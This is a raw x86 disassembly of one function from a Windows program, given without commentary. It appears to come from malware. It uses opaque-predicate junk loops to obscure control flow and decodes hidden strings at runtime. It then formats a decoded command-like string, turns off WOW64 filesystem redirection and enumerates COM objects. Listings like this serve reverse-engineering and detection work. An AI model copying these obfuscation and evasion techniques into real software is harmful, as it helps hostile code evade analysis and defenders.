dec eax
or eax, 0xfffffffc
add eax, 1
je 0x4066c9
mov ecx, dword [ebp - 0x874]
mov eax, dword [ebp - 0x850]
add ecx, 2
add eax, 3
imul eax, ecx
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
test al, 1
jne 0x40672a
nop dword [eax]
mov eax, dword [ebp - 0x874]
cdq
idiv edi
mov eax, dword [ebp - 0x874]
test edx, edx
je 0x4066b6
dec eax
jmp 0x4066b7
inc eax
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
test al, 1
je 0x4066a0
jmp 0x40672a
mov eax, dword [ebp - 0x874]
cdq
idiv edi
test edx, edx
je 0x40672a
mov eax, dword [ebp - 0x874]
mov ecx, dword [ebp - 0x850]
add eax, 0xb
cdq
add ecx, 0x17
idiv ecx
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
cdq
idiv ebx
test edx, edx
jne 0x40672a
nop
mov eax, dword [ebp - 0x874]
cdq
idiv edi
mov eax, dword [ebp - 0x874]
test edx, edx
je 0x406716
inc eax
jmp 0x406717
dec eax
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
cdq
idiv ebx
test edx, edx
je 0x406700
mov ecx, dword [ebp - 0x850]
test ecx, ecx
je 0x407271
mov ebx, dword [sym.imp.USER32.dll_wsprintfW]
mov edi, dword [sym.imp.KERNEL32.dll_Wow64RevertWow64FsRedirection]
mov eax, dword [ecx]
lea edx, [ebp - 0x81c]
push edx
lea edx, [ebp - 0x870]
push edx
push 1
push 0xffffffffffffffff
push ecx
call dword [eax + 0x10]
mov esi, eax
mov dword [ebp - 0x874], 0x62eb20
mov eax, dword [ebp - 0x874]
mov ecx, 3
cdq
idiv ecx
mov eax, dword [ebp - 0x874]
test edx, edx
je 0x4067d8
add eax, 2
add eax, esi
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
and eax, reloc.WS2_32.dll_closesocket
jns 0x40679f
dec eax
or eax, 0xfffffffc
add eax, 1
jne 0x4068aa
nop word [eax + eax]
mov eax, dword [ebp - 0x874]
inc eax
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
and eax, reloc.WS2_32.dll_closesocket
jns 0x4067d1
dec eax
or eax, 0xfffffffc
add eax, 1
je 0x4067b0
jmp 0x4068aa
mov eax, dword [ebp - 0x874]
and eax, reloc.WS2_32.dll_closesocket
jns 0x4067ec
dec eax
or eax, 0xfffffffc
add eax, 1
je 0x40683f
mov ecx, dword [ebp - 0x874]
lea eax, [esi + 3]
add ecx, 2
imul ecx, eax
mov dword [ebp - 0x874], ecx
mov eax, dword [ebp - 0x874]
test al, 1
jne 0x4068aa
mov ecx, 5
mov eax, dword [ebp - 0x874]
cdq
idiv ecx
mov eax, dword [ebp - 0x874]
test edx, edx
je 0x40682c
dec eax
jmp 0x40682d
inc eax
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
test al, 1
je 0x406816
jmp 0x4068aa
mov eax, dword [ebp - 0x874]
mov ecx, 5
cdq
idiv ecx
test edx, edx
je 0x4068aa
mov eax, dword [ebp - 0x874]
lea ecx, [esi + 0x17]
add eax, 0xb
cdq
idiv ecx
mov ecx, 3
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
cdq
idiv ecx
test edx, edx
jne 0x4068aa
mov esi, 5
nop dword [eax]
mov eax, dword [ebp - 0x874]
cdq
idiv esi
mov eax, dword [ebp - 0x874]
test edx, edx
je 0x406896
inc eax
jmp 0x406897
dec eax
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
cdq
idiv ecx
test edx, edx
je 0x406880
cmp dword [ebp - 0x81c], 0
je 0x407271
mov byte [ebp - 0x810], 0
mov byte [ebp - 0x80f], 0x73
mov byte [ebp - 0x80e], 0x1e
mov byte [ebp - 0x80d], 0x61
mov byte [ebp - 0x80c], 0x1e
mov byte [ebp - 0x80b], 0x1e
mov byte [ebp - 0x80a], 0x1e
mov al, byte [ebp - 0x80f]
mov al, byte [ebp - 0x810]
test al, al
jne 0x406930
xor esi, esi
lea ebx, [esi + 0x7f]
nop dword [eax]
mov al, byte [ebp + esi - 0x80f]
mov ecx, 0x1e
movzx eax, al
sub ecx, eax
imul eax, ecx, 0x23
cdq
idiv ebx
lea eax, [edx + 0x7f]
cdq
idiv ebx
mov byte [ebp + esi - 0x80f], dl
inc esi
cmp esi, 6
jb 0x406900
mov ebx, dword [sym.imp.USER32.dll_wsprintfW]
mov eax, dword [ebp - 0x870]
lea edx, [ebp - 0x868]
push 0
push 0
push edx
mov ecx, dword [eax]
lea edx, [ebp - 0x80f]
push 0
push edx
push eax
call dword [ecx + 0x10]
mov esi, eax
mov dword [ebp - 0x874], 0x62eb20
mov eax, dword [ebp - 0x874]
mov ecx, 3
cdq
idiv ecx
mov eax, dword [ebp - 0x874]
test edx, edx
je 0x4069c8
add eax, 2
add eax, esi
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
and eax, reloc.WS2_32.dll_closesocket
jns 0x406993
dec eax
or eax, 0xfffffffc
add eax, 1
jne 0x406a9a
nop dword [eax]
mov eax, dword [ebp - 0x874]
inc eax
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
and eax, reloc.WS2_32.dll_closesocket
jns 0x4069c1
dec eax
or eax, 0xfffffffc
add eax, 1
je 0x4069a0
jmp 0x406a9a
mov eax, dword [ebp - 0x874]
and eax, reloc.WS2_32.dll_closesocket
jns 0x4069dc
dec eax
or eax, 0xfffffffc
add eax, 1
je 0x406a2f
mov ecx, dword [ebp - 0x874]
lea eax, [esi + 3]
add ecx, 2
imul ecx, eax
mov dword [ebp - 0x874], ecx
mov eax, dword [ebp - 0x874]
test al, 1
jne 0x406a9a
mov ecx, 5
mov eax, dword [ebp - 0x874]
cdq
idiv ecx
mov eax, dword [ebp - 0x874]
test edx, edx
je 0x406a1c
dec eax
jmp 0x406a1d
inc eax
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
test al, 1
je 0x406a06
jmp 0x406a9a
mov eax, dword [ebp - 0x874]
mov ecx, 5
cdq
idiv ecx
test edx, edx
je 0x406a9a
mov eax, dword [ebp - 0x874]
lea ecx, [esi + 0x17]
add eax, 0xb
cdq
idiv ecx
mov ecx, 3
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
cdq
idiv ecx
test edx, edx
jne 0x406a9a
mov esi, 5
nop dword [eax]
mov eax, dword [ebp - 0x874]
cdq
idiv esi
mov eax, dword [ebp - 0x874]
test edx, edx
je 0x406a86
inc eax
jmp 0x406a87
dec eax
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
cdq
idiv ecx
test edx, edx
je 0x406a70
mov ecx, 0x800
lea eax, [ebp - 0x808]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x406aa5
mov byte [ebp - 0x958], cl
mov byte [ebp - 0x957], 0x1b
mov byte [ebp - 0x956], 0x51
mov byte [ebp - 0x955], 0xa
mov byte [ebp - 0x954], 0x51
mov byte [ebp - 0x953], 0x26
mov byte [ebp - 0x952], 0x51
mov byte [ebp - 0x951], 0x4f
mov byte [ebp - 0x950], 0x51
mov byte [ebp - 0x94f], 0x31
mov byte [ebp - 0x94e], 0x51
mov byte [ebp - 0x94d], 4
mov byte [ebp - 0x94c], 0x51
mov byte [ebp - 0x94b], 0x31
mov byte [ebp - 0x94a], 0x51
mov byte [ebp - 0x949], 0x34
mov byte [ebp - 0x948], 0x51
mov byte [ebp - 0x947], 0x5a
mov byte [ebp - 0x946], 0x51
mov byte [ebp - 0x945], 0x1b
mov byte [ebp - 0x944], 0x51
mov byte [ebp - 0x943], 0x34
mov byte [ebp - 0x942], 0x51
mov byte [ebp - 0x941], 0x38
mov byte [ebp - 0x940], 0x51
mov byte [ebp - 0x93f], 0x54
mov byte [ebp - 0x93e], 0x51
mov byte [ebp - 0x93d], 0x4d
mov byte [ebp - 0x93c], 0x51
mov byte [ebp - 0x93b], 0x16
mov byte [ebp - 0x93a], 0x51
mov byte [ebp - 0x939], 0x5d
mov byte [ebp - 0x938], 0x51
mov byte [ebp - 0x937], 0x15
mov byte [ebp - 0x936], 0x51
mov byte [ebp - 0x935], 0x26
mov byte [ebp - 0x934], 0x51
mov byte [ebp - 0x933], 0x20
mov byte [ebp - 0x932], 0x51
mov byte [ebp - 0x931], 0x78
mov byte [ebp - 0x930], 0x51
mov byte [ebp - 0x92f], 0x4c
mov byte [ebp - 0x92e], 0x51
mov byte [ebp - 0x92d], 0x4d
mov byte [ebp - 0x92c], 0x51
mov byte [ebp - 0x92b], 0x69
mov byte [ebp - 0x92a], 0x51
mov byte [ebp - 0x929], 0xf
mov byte [ebp - 0x928], 0x51
mov byte [ebp - 0x927], 0x4c
mov byte [ebp - 0x926], 0x51
mov byte [ebp - 0x925], 0x57
mov byte [ebp - 0x924], 0x51
mov byte [ebp - 0x923], 0x31
mov byte [ebp - 0x922], 0x51
mov byte [ebp - 0x921], 0xa
mov byte [ebp - 0x920], 0x51
mov byte [ebp - 0x91f], 7
mov byte [ebp - 0x91e], 0x51
mov byte [ebp - 0x91d], 0x7b
mov byte [ebp - 0x91c], 0x51
mov byte [ebp - 0x91b], 0x4d
mov byte [ebp - 0x91a], 0x51
mov byte [ebp - 0x919], 0x78
mov byte [ebp - 0x918], 0x51
mov byte [ebp - 0x917], 0x10
mov byte [ebp - 0x916], 0x51
mov byte [ebp - 0x915], 0x31
mov byte [ebp - 0x914], 0x51
mov byte [ebp - 0x913], 0xa
mov byte [ebp - 0x912], 0x51
mov byte [ebp - 0x911], 0x4d
mov byte [ebp - 0x910], 0x51
mov byte [ebp - 0x90f], 0x16
mov byte [ebp - 0x90e], 0x51
mov byte [ebp - 0x90d], 0x27
mov byte [ebp - 0x90c], 0x51
mov byte [ebp - 0x90b], 0x7a
mov byte [ebp - 0x90a], 0x51
mov byte [ebp - 0x909], 0x38
mov byte [ebp - 0x908], 0x51
mov byte [ebp - 0x907], 0x4f
mov byte [ebp - 0x906], 0x51
mov byte [ebp - 0x905], 0x31
mov byte [ebp - 0x904], 0x51
mov byte [ebp - 0x903], 4
mov byte [ebp - 0x902], 0x51
mov byte [ebp - 0x901], 0x31
mov byte [ebp - 0x900], 0x51
mov byte [ebp - 0x8ff], 0x34
mov byte [ebp - 0x8fe], 0x51
mov byte [ebp - 0x8fd], 0x4c
mov byte [ebp - 0x8fc], 0x51
mov byte [ebp - 0x8fb], 0x52
mov byte [ebp - 0x8fa], 0x51
mov byte [ebp - 0x8f9], 5
mov byte [ebp - 0x8f8], 0x51
mov byte [ebp - 0x8f7], 0x26
mov byte [ebp - 0x8f6], 0x51
mov byte [ebp - 0x8f5], 0x20
mov byte [ebp - 0x8f4], 0x51
mov byte [ebp - 0x8f3], 0x78
mov byte [ebp - 0x8f2], 0x51
mov byte [ebp - 0x8f1], 0x1b
mov byte [ebp - 0x8f0], 0x51
mov byte [ebp - 0x8ef], 0x20
mov byte [ebp - 0x8ee], 0x51
mov byte [ebp - 0x8ed], 0x2b
mov byte [ebp - 0x8ec], 0x51
mov byte [ebp - 0x8eb], 0xf
mov byte [ebp - 0x8ea], 0x51
mov byte [ebp - 0x8e9], 0x34
mov byte [ebp - 0x8e8], 0x51
mov byte [ebp - 0x8e7], 0x78
mov byte [ebp - 0x8e6], 0x51
mov byte [ebp - 0x8e5], 0x52
mov byte [ebp - 0x8e4], 0x51
mov byte [ebp - 0x8e3], 0x31
mov byte [ebp - 0x8e2], 0x51
mov byte [ebp - 0x8e1], 0x41
mov byte [ebp - 0x8e0], 0x51
mov byte [ebp - 0x8df], 0x31
mov byte [ebp - 0x8de], 0x51
mov byte [ebp - 0x8dd], 0x34
mov byte [ebp - 0x8dc], 0x51
mov byte [ebp - 0x8db], 0x4a
mov byte [ebp - 0x8da], 0x51
mov byte [ebp - 0x8d9], 0x7a
mov byte [ebp - 0x8d8], 0x51
mov byte [ebp - 0x8d7], 0x43
mov byte [ebp - 0x8d6], 0x51
mov byte [ebp - 0x8d5], 0x75
mov byte [ebp - 0x8d4], 0x51
mov byte [ebp - 0x8d3], 2
mov byte [ebp - 0x8d2], 0x51
mov byte [ebp - 0x8d1], 0x6b
mov byte [ebp - 0x8d0], 0x51
mov byte [ebp - 0x8cf], 0x4c
mov byte [ebp - 0x8ce], 0x51
mov byte [ebp - 0x8cd], 2
mov byte [ebp - 0x8cc], 0x51
mov byte [ebp - 0x8cb], 0x4a
mov byte [ebp - 0x8ca], 0x51
mov byte [ebp - 0x8c9], 0x34
mov byte [ebp - 0x8c8], 0x51
mov byte [ebp - 0x8c7], 0x26
mov byte [ebp - 0x8c6], 0x51
mov byte [ebp - 0x8c5], 0x31
mov byte [ebp - 0x8c4], 0x51
mov byte [ebp - 0x8c3], 0x7e
mov byte [ebp - 0x8c2], 0x51
mov byte [ebp - 0x8c1], 0x31
mov byte [ebp - 0x8c0], 0x51
mov byte [ebp - 0x8bf], 0x57
mov byte [ebp - 0x8be], 0x51
mov byte [ebp - 0x8bd], 0x31
mov byte [ebp - 0x8bc], 0x51
mov byte [ebp - 0x8bb], 0x51
mov byte [ebp - 0x8ba], 0x51
mov al, byte [ebp - 0x957]
mov al, byte [ebp - 0x958]
test al, al
jne 0x406f53
xor esi, esi
lea edi, [ecx + 0x7f]
nop dword [eax]
mov al, byte [ebp + esi - 0x957]
mov ecx, 0x51
movzx eax, al
sub ecx, eax
imul eax, ecx, 0x17
cdq
idiv edi
lea eax, [edx + 0x7f]
cdq
idiv edi
mov byte [ebp + esi - 0x957], dl
inc esi
cmp esi, 0x9e
jb 0x406f20
mov edi, dword [sym.imp.KERNEL32.dll_Wow64RevertWow64FsRedirection]
push dword [ebp - 0x860]
lea eax, [ebp - 0x957]
push eax
lea eax, [ebp - 0x808]
push eax
call ebx
add esp, 0xc
mov dword [ebp - 0x874], 0x636e6e
lea eax, [ebp - 0x84c]
push eax
call dword [sym.imp.KERNEL32.dll_Wow64DisableWow64FsRedirection]
mov dword [ebp - 0x874], 0x62eb20
mov esi, 3
mov eax, dword [ebp - 0x874]
cdq
idiv esi
test edx, edx
je 0x406ff8
mov ecx, dword [ebp - 0x874]
mov eax, dword [ebp - 0x84c]
add eax, 2
add eax, ecx
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
and eax, reloc.WS2_32.dll_closesocket
jns 0x406fca
dec eax
or eax, 0xfffffffc
add eax, 1
jne 0x4070da
mov eax, dword [ebp - 0x874]
inc eax
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
and eax, reloc.WS2_32.dll_closesocket
jns 0x406ff1
dec eax
or eax, 0xfffffffc
add eax, 1
je 0x406fd0
jmp 0x4070da
mov eax, dword [ebp - 0x874]
mov eax, dword [ebp - 0x874]
and eax, reloc.WS2_32.dll_closesocket
jns 0x407012
dec eax
or eax, 0xfffffffc
add eax, 1
je 0x40706b
mov ecx, dword [ebp - 0x874]
mov eax, dword [ebp - 0x84c]
add ecx, 2
add eax, 3
imul eax, ecx
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
test al, 1
jne 0x4070da
mov ecx, 5
mov eax, dword [ebp - 0x874]
cdq
idiv ecx
mov eax, dword [ebp - 0x874]
test edx, edx
je 0x407058
dec eax
jmp 0x407059
inc eax
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
test al, 1
je 0x407042
jmp 0x4070da
mov eax, dword [ebp - 0x874]
mov ecx, 5
cdq
idiv ecx
test edx, edx
je 0x4070da
mov eax, dword [ebp - 0x874]
mov ecx, dword [ebp - 0x84c]
add eax, 0xb
cdq
add ecx, 0x17
idiv ecx
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
cdq
idiv esi
test edx, edx
jne 0x4070da
mov ecx, 5
nop word [eax + eax]
mov eax, dword [ebp - 0x874]
cdq
idiv ecx
mov eax, dword [ebp - 0x874]
test edx, edx
je 0x4070c6
inc eax
jmp 0x4070c7
dec eax
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
cdq
idiv esi
test edx, edx
je 0x4070b0
lea ecx, [ebp - 0x808]
call fcn.00404af0
push dword [ebp - 0x84c]
call edi
mov dword [ebp - 0x874], 0x62eb20
mov eax, dword [ebp - 0x874]
cdq
idiv esi
test edx, edx
je 0x407168
mov ecx, dword [ebp - 0x874]
mov eax, dword [ebp - 0x84c]
add eax, 2
add eax, ecx
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
and eax, reloc.WS2_32.dll_closesocket
jns 0x40712f
dec eax
or eax, 0xfffffffc
add eax, 1
jne 0x40724a
nop word [eax + eax]
mov eax, dword [ebp - 0x874]
inc eax
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
and eax, reloc.WS2_32.dll_closesocket
jns 0x407161
dec eax
or eax, 0xfffffffc
add eax, 1
je 0x407140
jmp 0x40724a
mov eax, dword [ebp - 0x874]
mov eax, dword [ebp - 0x874]
and eax, reloc.WS2_32.dll_closesocket
jns 0x407182
dec eax
or eax, 0xfffffffc
add eax, 1
je 0x4071db
mov ecx, dword [ebp - 0x874]
mov eax, dword [ebp - 0x84c]
add ecx, 2
add eax, 3
imul eax, ecx
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
test al, 1
jne 0x40724a
mov ecx, 5
mov eax, dword [ebp - 0x874]
cdq
idiv ecx
mov eax, dword [ebp - 0x874]
test edx, edx
je 0x4071c8
dec eax
jmp 0x4071c9
inc eax
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
test al, 1
je 0x4071b2
jmp 0x40724a
mov eax, dword [ebp - 0x874]
mov ecx, 5
cdq
idiv ecx
test edx, edx
je 0x40724a
mov eax, dword [ebp - 0x874]
mov ecx, dword [ebp - 0x84c]
add eax, 0xb
cdq
add ecx, 0x17
idiv ecx
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
cdq
idiv esi
test edx, edx
jne 0x40724a
mov ecx, 5
nop word [eax + eax]
mov eax, dword [ebp - 0x874]
cdq
idiv ecx
mov eax, dword [ebp - 0x874]
test edx, edx
je 0x407236
inc eax
jmp 0x407237
dec eax
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
cdq
idiv esi
test edx, edx
je 0x407220
lea eax, [ebp - 0x868]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [ebp - 0x870]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov ecx, dword [ebp - 0x850]
test ecx, ecx
jne 0x406744
mov ecx, dword [ebp - 0x86c]
test ecx, ecx
je 0x407281
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov eax, dword [ebp - 0x844]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x848]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x850]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00434f21
mov esp, ebp
pop ebp
ret